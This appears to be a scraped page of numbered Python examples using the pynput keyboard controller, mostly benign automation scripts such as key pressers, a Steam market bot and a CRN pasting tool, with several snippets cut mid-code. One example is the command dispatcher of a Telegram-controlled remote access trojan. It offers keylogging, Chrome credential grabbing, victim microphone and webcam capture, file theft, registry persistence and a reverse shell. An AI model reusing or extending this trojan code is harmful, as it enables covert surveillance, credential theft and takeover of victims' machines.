def Key_press(key):
    Keyboard = Controller()
    Keyboard.press(key)
keyboard = Controller()
centre = [320, 240]

while True:

    success, frame = cap.read()

    frame = cv2.flip(frame, 1)
    copy_frame = frame.copy()

    # preprocessing(frame_hsv)
    pos_x, pos_y = findColor(frame, myColors, myColorValues)
    if pos_x != 0 and pos_y != 0:
        if pos_x < centre[0] - 20:
            print("right pressed")
            keyboard.press(Key.left)
            keyboard.release(Key.left)
        elif pos_x > centre[0] + 20:
            print("left_pressed")
            keyboard.press(Key.right)
            keyboard.release(Key.right)
        if pos_y < centre[1] - 20:
            print("up")
            keyboard.press(Key.up)
            keyboard.release(Key.up)
        elif pos_y > centre[1] + 20:
            print("down")
            keyboard.press(Key.down)
            keyboard.release(Key.down)
        centre[0] = pos_x
        centre[1] = pos_y
windows = subprocess.check_output(["wmctrl", "-l"]).decode('utf-8').strip()

user = subprocess.check_output(['whoami']).decode('utf_8').strip()
hostname = subprocess.check_output(['hostname']).decode('utf_8').strip()
userstring = user + '@' + hostname + ':'
userstring

i = windows.find(userstring)

keyboard = Controller()

home = '/home/' + user
if i == -1:
    os.chdir(home)
    subprocess.Popen(['gnome-terminal'])

else:
    winid = windows[i - 27:i - 17]
    subprocess.Popen(['wmctrl', '-ia', winid])
    time.sleep(0.15)

    keyboard.press(Key.ctrl_l)
    keyboard.press(Key.shift)
    keyboard.press('t')
    keyboard.release(Key.ctrl_l)
    keyboard.release(Key.shift)
    keyboard.release('t')

# %%
Esempio n. 24
0
def actions(msg,chat_id):
	cmd = msg.split()

	if '/hosts' in cmd[0]:
		bot.sendMessage(chat_id,node())
	elif cmd[0].lower() in node().lower():
		if '/cmd' in cmd[1]:
			output = windows_command(cmd[2:]).decode('utf-8','ignore')
			bot.sendMessage(chat_id,output)

		elif '/process' in cmd[1]:
			result = list_process()
			bot.sendMessage(chat_id,result)

		elif '/kill' in cmd[1]:
			kill_process(int(cmd[2]),chat_id)

		elif '/list_dir' in cmd[1]:
			value = list_dir(cmd[2])
			bot.sendMessage(chat_id,value)

		elif '/dir' in cmd[1]:
			bot.sendMessage(chat_id,os.getcwd())

		elif '/print' in cmd[1]:
			if sys.platform == 'win32':
				file = os.environ.get('TEMP')+"\\"+"print.jpg"
			elif sys.platform == 'linux' or sys.platform == 'linux2':
				file = '/tmp/print.jpg'
			ImageGrab.grab().save(file,"JPEG")
			f = open(file, 'rb')
			bot.sendPhoto(chat_id,f)
			f.close()
			os.remove(file)

		elif '/keylogger' in cmd[1]:
			if sys.platform == 'win32':
				file = os.environ.get('TEMP')+'\\'+'keylogger.txt'
			elif sys.platform == 'linux' or sys.platform == 'linux2':
				file = '/tmp/keylogger.txt'
			t = Thread(target=keylloger)

			if loads(cmd[2]) is True:
				if t.isAlive() is False:
					bot.sendMessage(chat_id,"Keylogger actived!")
					t.start()

			elif loads(cmd[2]) is False:
				keyboard = Controller()
				keyboard.press(Key.esc)
				bot.sendMessage(chat_id,"Keylogger stopped!")
				f = open(file)
				bot.sendDocument(chat_id,f)
				f.close()
				os.remove(file)

		elif '/record_mic' in cmd[1]:
			t = Thread(target=record_mic,args=(cmd[2],chat_id))
			t.start()

		elif '/snapshot' in cmd[1]:
			snapshot(cmd[2],chat_id)

		elif '/cameras' in cmd[1]:
			result = list_cameras()
			bot.sendMessage(chat_id,result)

		elif '/download' in cmd[1]:
			f = open(cmd[2],'rb')
			bot.sendDocument(chat_id,f)

		elif '/chrome' in cmd[1]:
			chrome(chat_id)

		elif '/infos' in cmd[1]:
			msg = sys_infos()
			bot.sendMessage(chat_id,msg)

		elif '/persistent' in cmd[1]:
			tempdir = os.environ.get('TEMP')
			fileName = os.path.basename(sys.executable)
			run = "Software\Microsoft\Windows\CurrentVersion\Run"
			persistent(tempdir, fileName, run, chat_id)

		elif '/rev_shell' in cmd[1]:
			rs = Thread(target=reverse_shell,args=(cmd[2],cmd[3],chat_id))
			rs.start()

		elif '/rev_cam' in cmd[1]:
			rc = Thread(target=reverse_cam,args=(cmd[2],cmd[3],cmd[4],chat_id))
			rc.start()

		elif '/nmap_scan' in cmd[1]:
			nmap_scan(chat_id)

	elif '/help' in cmd[0]:
		msg = """[+] - Commands Available - [+]
		/help - show this message
		/hosts - show the hostname of all hosts availables
		hostname /cmd command - system commands
		hostname /process  - list all process
		hostname /kill PID - kill a process by PID
		hostname /infos - system basic infos
		hostname /dir - show current dir
		hostname /list_dir - list dir folders and files(regex)
		hostname /chrome - grab google chrome stored credentials
		hostname /print - screenshot
		hostname /keylogger true/false -  true start keylogger, false stop Keylogger and send file.
		hostname /record_mic seconds - Record audio from victim microphone
		hostname /cameras  - list cameras by ID number
		hostname /snapshot id - Take a picture from victim webcam, based on camera id
		hostname /download file path - download victim file
		hostname /persistent - make malware persistent
		hostname /rev_shell ip/host port - reverse shell
		hostname /rev_cam ip/host port - reverse webcam
		"""
		bot.sendMessage(chat_id,msg)
Esempio n. 25
0
from pynput.keyboard import Key, Controller as KeyboardController
import time

keys = KeyboardController()

tt = int(input())
time.sleep(5)
for x in range (1,tt+1):
    keys.press(Key.shift)
    keys.press('3')
    keys.release('3')
    keys.release(Key.shift)
    keys.press(Key.left)
    keys.press(Key.down)
    time.sleep(.01)
Esempio n. 26
0
def inputgenrator(t):
    keyboard = Controller()
    keyboard.press(t)
    time.sleep(0.2)
    keyboard.release(t)
    print("generated input is ", t, end="\n")
Esempio n. 27
0
    texto = input()

    print("¿Cuantas veces enviaremos este mensaje...?")
    send = int(input())

    print("¿Cada cuanto tiempo... ? Ingresar en segundos...")
    sec = int(input())

    print("Tienes 5 segundos para ir a la ventana")
    time.sleep(5)

    contador = 0

    while contador < send:
        teclear.type(texto)
        teclear.press(Key.enter)
        time.sleep(sec)
        contador += 1

elif opc == 2:

    print("Que numero desea repetir...")
    texto = input()

    print("¿Cuantas veces enviaremos este mensaje...?")
    send = int(input())

    print("¿Cada cuanto tiempo... ? Ingresar en segundos...")
    sec = int(input())

    print("Tienes 5 segundos para ir a la ventana")
Esempio n. 28
0
"""
from pynput.keyboard import Key, Controller

keyboard = Controller()

# Press and release space
keyboard.press(Key.space)
"""
from pynput.keyboard import Key, Controller

keyboard = Controller()

# Press and release space
keyboard.press(Key.space)
keyboard.release(Key.space)
Esempio n. 29
0
def run(url_lst,
        float_lst,
        cost_lst,
        sen,
        sen_pass,
        rec,
        name,
        page_time=5):  #,head=False):
    lst_tab = []
    reqs = 0
    count = 0
    here = 0
    board = Controller()
    opt = Options()
    path = r'C:\\Users\\' + getpass.getuser() + r'\Documents\\scm_bot'
    if (name + '.cook') in os.listdir(path):
        cookie_file = open(
            'C:\\Users\\' + getpass.getuser() + '\Documents\\scm_bot\\' +
            name + '.cook', 'rb')
        cookies = pickle.load(cookie_file)
        cookie_file.close()
    else:
        messagebox.showinfo("WARNING", "PROFILE NOT FOUND\nclick setup")
        return
    opt.add_argument(
        'user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36'
    )
    driver = webdriver.Chrome(executable_path='chromedriver.exe', options=opt)
    driver.get(
        'https://chrome.google.com/webstore/detail/csgofloat-market-checker/jjicbefpemnphinccgikpdaagjebbnhg?hl=en'
    )
    time.sleep(9)
    while True:
        time.sleep(3)
        try:
            print('trying to add to chrome')
            driver.find_element_by_xpath(
                '/html/body/div[3]/div[2]/div/div/div[2]/div[2]/div/div/div/div'
            ).click()
            break
        except:
            continue
    time.sleep(3)
    board.press(Key.tab)
    board.press(Key.space)
    #board=None
    driver.get(
        'https://steamcommunity.com/market/listings/730/P250%20%7C%20Sand%20Dune%20%28Battle-Scarred%29'
    )
    for cookie in cookies:
        driver.add_cookie(cookie)
    time.sleep(1)
    page_size = Select(driver.find_element_by_id("pageSize"))
    page_size.select_by_index(4)
    for i in range(1, len(url_lst)):
        driver.execute_script('window.open("","_blank");')
    lst_tab = driver.window_handles
    for i in range(0, len(lst_tab)):
        driver.switch_to_window(lst_tab[i])
        driver.get(url_lst[i])
        reqs += 1
    lst_tab = driver.window_handles
    print('checking started')
    while True:
        for i in range(0, len(lst_tab)):
            reqs += 1
            try:  #incase tab closed
                driver.switch_to_window(lst_tab[i])
            except:
                print('this tab closed')
                del lst_tab[i]
                del float_lst[i]
                del cost_lst[i]
                i -= 1
                continue
                #driver.execute_script('window.open("","_blank");')
                #driver.get(url_lst[i])
                #lst_tab=driver.window_handles
            time.sleep(page_time)
            print(datetime.datetime.now())
            try:
                #fnd the sort button and click
                sort = driver.find_element_by_xpath(
                    '//*[@id="csgofloat_sort_by_float"]'
                )  #'/html/body/div[1]/div[7]/div[2]/div[1]/div[4]/div[1]/div[3]/div[4]/div[2]/a[1]')
                for so in range(0, 3):
                    sort.click()
            except:
                print('sort button not found in', lst_tab[i],
                      '\n retrying next round')
                count += 1
                if count == 6:
                    count = 0
                    print('requests made from the start=', reqs)
                    reqs = 0
                    time.sleep(500)
                driver.refresh()
                continue
            time.sleep(0.5)
            #print('checking floats')
            try:
                for j in range(2, 12):
                    #fnd the float and check
                    here = 64
                    fl = '/html/body/div[1]/div[7]/div[2]/div[1]/div[4]/div[1]/div[3]/div[4]/div[4]/div[' + str(
                        j) + ']/div[4]/div/div[1]'
                    fl = driver.find_element_by_xpath(fl)
                    fl = float(fl.text[7:-4])
                    if fl <= float_lst[i]:
                        here = 69
                        cost = '/html/body/div[1]/div[7]/div[2]/div[1]/div[4]/div[1]/div[3]/div[4]/div[4]/div[' + str(
                            j) + ']/div[2]/div[2]/span/span[1]'
                        #print('checking cost')
                        cost = float(
                            driver.find_element_by_xpath(cost).text[2:])
                        if cost <= cost_lst[i]:
                            here = 74
                            buy = '/html/body/div[1]/div[7]/div[2]/div[1]/div[4]/div[1]/div[3]/div[4]/div[4]/div[' + str(
                                j) + ']/div[2]/div[1]/div/a/span'
                            buy = driver.find_element_by_xpath(buy)
                            buy.click()
                            print('buying item')
                            chk_box = driver.find_element_by_xpath(
                                '//*[@id="market_buynow_dialog_accept_ssa"]')
                            print('check box encounter')
                            if chk_box.is_selected(
                            ) == False:  #to click check box for first list
                                here = 80
                                ti = time.perf_counter()
                                while True:
                                    try:
                                        chk_box.click()
                                    except:
                                        if time.perf_counter() - ti >= 3:
                                            break
                                        continue
                                print('check box clicked')
                            here = 85
                            buy = driver.find_element_by_xpath(
                                '//*[@id="market_buynow_dialog_purchase"]')
                            #/html/body/div[3]/div[3]/div/div[7]/div/div/div[2]/a[1]
                            buy.click()
                            print('buy clicked')
                            while True:
                                try:
                                    close = driver.find_element_by_xpath(
                                        '//*[@id="market_buynow_dialog_close"]'
                                    )
                                    #/html/body/div[3]/div[3]/div/div[8]/div/a[1]
                                    close.click()
                                except:
                                    try:
                                        driver.find_element_by_xpath(
                                            '//*[@id="market_buynow_dialog_purchase"]'
                                        ).click()
                                        driver.find_element_by_xpath(
                                            '/html/body/div[3]/div[2]/div/div'
                                        ).click()  #cancel button
                                        print('cancel clicked')
                                        break
                                    except:
                                        continue
                                print('close clicked')
                                break
            except:
                print('error check loop at:', here)
                driver.refresh()
                continue
            driver.refresh()
Esempio n. 30
0
     print(
         "Make sure that all AWS machines are turned on, and the initial ip_location.txt is correct."
     )
 time.sleep(5)
 mouse.click(Button.left)
 time.sleep(1)
 # SSH into all of the respective client terminal windows
 if rep % 3 == 1 or rep == 1:
     for i in range(totalUsers):
         clients = ip_location[i].split(',')
         if len(clients) > 1:
             hacker = i
             hacker_hops = len(client)
         for client in clients:
             keyboard.type("ssh " + client[:client.find('-')].lower())
             keyboard.press(Key.enter)
             keyboard.release(Key.enter)
             time.sleep(4)
         # Ctrl-Tab to the next terminal window
         keyboard.press(Key.ctrl)
         keyboard.press(Key.tab)
         keyboard.release(Key.tab)
         keyboard.release(Key.ctrl)
 # Moves mouse to right side of screen to start tshark command
 if not connection or connection == "master":
     mouse.move(1650, 0)
     time.sleep(0.5)
     mouse.click(Button.left)
     time.sleep(1)
     keyboard.type("./pcap.sh")
     keyboard.press(Key.enter)
driver = webdriver.Chrome(executable_path=driver_path, chrome_options=option)

kb = Controller()
m = mcon()
# driver = webdriver.Firefox()
driver.maximize_window()
driver.get("https://animepahe.com/anime/nanatsu-no-taizai")
time.sleep(5)
elements = driver.find_elements_by_class_name('episode-wrap.col-12.col-sm-4') # There are x number of elements in this class, each representing one episode thumbnail

for e in elements:
    time.sleep(1)
    ActionChains(driver).move_to_element(e).key_down(Keys.CONTROL).click(e).key_up(Keys.CONTROL).perform() #Open link in new tab

    #Move to next tab
    kb.press(Key.ctrl)
    kb.press(Key.tab)
    kb.release(Key.tab)
    kb.release(Key.ctrl)
    time.sleep(1)

    if driver.title.find('Nanatsu') == -1: #Detect popup
        time.sleep(1.5)
        # kb.press(Key.alt)
        # kb.press(Key.f4)
        # kb.release(Key.f4)
        # kb.release(Key.alt)
        driver.close()
        time.sleep(1)

    downloaddropdown = driver.find_element_by_id('downloadMenu') #This is the Download Dropdown button that reveals resolution selector
Esempio n. 32
0
class App:
    def __init__(self, master):

        self.master = master
        self.CRNs = []
        self.keyboard = None
        self.listener_initialized = False
        master.title("CRN Automatic Paster")

        # Validation
        vcmd = (self.master.register(self.validate), '%S')
        self.v = False  # self.v = IntVar()

        label_greeting = Label(master, text="CRN Automatic Paster")

        self.e1 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e2 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e3 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e4 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e5 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e6 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e7 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e8 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e9 = Entry(master, width=10, validate="key", validatecommand=vcmd)
        self.e10 = Entry(master, width=10, validate="key", validatecommand=vcmd)

        C = Checkbutton(master, text="Press Submit after pasting", command=self.cb)  # variable=self.v
        button_done = Button(master, text="Done", command=self.done_pressed)

        label_greeting.grid(row=0, column=0, columnspan=10, pady=10)

        self.e1.grid(row=1, column=0, sticky=W, padx=7)
        self.e2.grid(row=1, column=1, sticky=W, padx=7)
        self.e3.grid(row=1, column=2, sticky=W, padx=7)
        self.e4.grid(row=1, column=3, sticky=W, padx=7)
        self.e5.grid(row=1, column=4, sticky=W, padx=7)
        self.e6.grid(row=2, column=0, sticky=W, padx=7, pady=10)
        self.e7.grid(row=2, column=1, sticky=W, padx=7)
        self.e8.grid(row=2, column=2, sticky=W, padx=7)
        self.e9.grid(row=2, column=3, sticky=W, padx=7)
        self.e10.grid(row=2, column=4, sticky=W, padx=7)

        C.grid(row=3, column=0, columnspan=2)
        button_done.grid(row=3, column=3, columnspan=2, sticky=W + E, pady=5, padx=3)

        self.generate_menu_bar()

    def done_pressed(self):
        self.CRNs = [
            self.e1.get(), self.e2.get(), self.e3.get(), self.e4.get(), self.e5.get(),
            self.e6.get(), self.e7.get(), self.e8.get(), self.e9.get(), self.e10.get()
        ]

        if not self.listener_initialized:
            self.keyboard = Controller()

            listener = Listener(on_release=self.on_release, on_press=None)
            listener.start()

            self.listener_initialized = True

    def generate_menu_bar(self):
        menu = Menu(self.master)
        self.master.config(menu=menu)
        helpmenu = Menu(menu, tearoff=0)
        menu.add_cascade(label="Help", menu=helpmenu)

        helpmenu.add_command(label="How to use", command=self.guide)
        helpmenu.add_command(label="Try it out!", command=self.demo)
        helpmenu.add_command(label="About...", command=self.about)

    def guide(self):
        guide_window = Toplevel()

        v = "1. Copy-Paste or manually input your required CRNs into the program's entry boxes.\n(Keep in mind the " \
            "CRN must not contain any spaces or characters, else they won't be accepted into the entry box)\n2. Press " \
            "the 'Done' Button\n3. Open BSS, highlight/press the FIRST entry box in BSS\n4. Press Shift (Either the " \
            "left or the right one, both work) "

        guide_text = Label(guide_window, text=v, justify=LEFT)
        guide_text.pack()

    def demo(self):
        url = "demo.html"
        webbrowser.open(url, new=2)

    def about(self):
        about_window = Toplevel()

        v = "Made by Shady Fanous\[email protected]\nSource code at " \
            "https://github.com/ShadyF/CRN_Paster\nthis tab needs to be redone "

        about_text = Label(about_window, text=v, justify=LEFT)
        about_text.pack()

    def iterate(self):
        for CRN in self.CRNs:
            if CRN:
                self.keyboard.type(CRN)
            self.keyboard.press(Key.tab)
            self.keyboard.release(Key.tab)

        # If Press enter after pasting checkbox is marked
        if self.v:
            self.keyboard.press(Key.enter)
            self.keyboard.release(Key.enter)

    @staticmethod
    def validate(s):
        return s.isdigit()

    def on_release(self, key):
        if key == Key.shift:
            self.iterate()

    def cb(self):
        self.v = not self.v
class MouseKeyboard:
    def __init__(self):
        self.keyboard = KeyboardController()
        self.mouse = MouseController()
        self.controlKeys = {37:self.keyLeft, 38:self.keyUp, 39:self.keyRight, 
                            40:self.keyDown, 60:self.leftClick, 62:self.rightClick,
                            8:self.keyBksp, 13:self.keyEnter}
                            
    def handleButtonPress(self, key):
        key = key.strip("'\\")
        try:
            keyNum = int(key)
        except ValueError:
            keyNum = ord(key)
        try:
            print('Got {}.'.format(keyNum))
        except OSError:
            pass
        if keyNum in self.controlKeys.keys():
            self.controlKeys[keyNum]()
        else:
            try:
                self.keyboard.press(key)
                self.keyboard.release(key)
            except ValueError:
                print("Failed to press {}: ValueError.".format(key))
            
    def handleMouseMove(self, key):
        key = key.strip("'\\")
        (xStr, yStr) = key.split()
        try:
            xVal = int(xStr)
            yVal = int(yStr)
        except ValueError:
            print("Got MouseMove but x, y string format unexpected: '{}', '{}'".format(xStr, yStr))
        print("Mouse Moving by: {}, {}".format(xVal,yVal))
        self.mouse.move(xVal*8,yVal*8)
                
    def keyUp(self):
        self.keyboard.press(Key.up)
        self.keyboard.release(Key.up)
        
    def keyLeft(self):
        self.keyboard.press(Key.left)
        self.keyboard.release(Key.left)        

    def keyRight(self):
        self.keyboard.press(Key.right)
        self.keyboard.release(Key.right)        

    def keyDown(self):
        self.keyboard.press(Key.down)
        self.keyboard.release(Key.down)        
        
    def keyBksp(self):
        self.keyboard.press(Key.backspace)
        self.keyboard.release(Key.backspace)        

    def keySpace(self):
        self.keyboard.press(Key.space)
        self.keyboard.release(Key.space)    
        
    def keyEnter(self):
        self.keyboard.press(Key.enter)
        self.keyboard.release(Key.enter)
        
    def leftClick(self):
        self.mouse.click(Button.left)
    
    def rightClick(self):
        self.mouse.click(Button.right)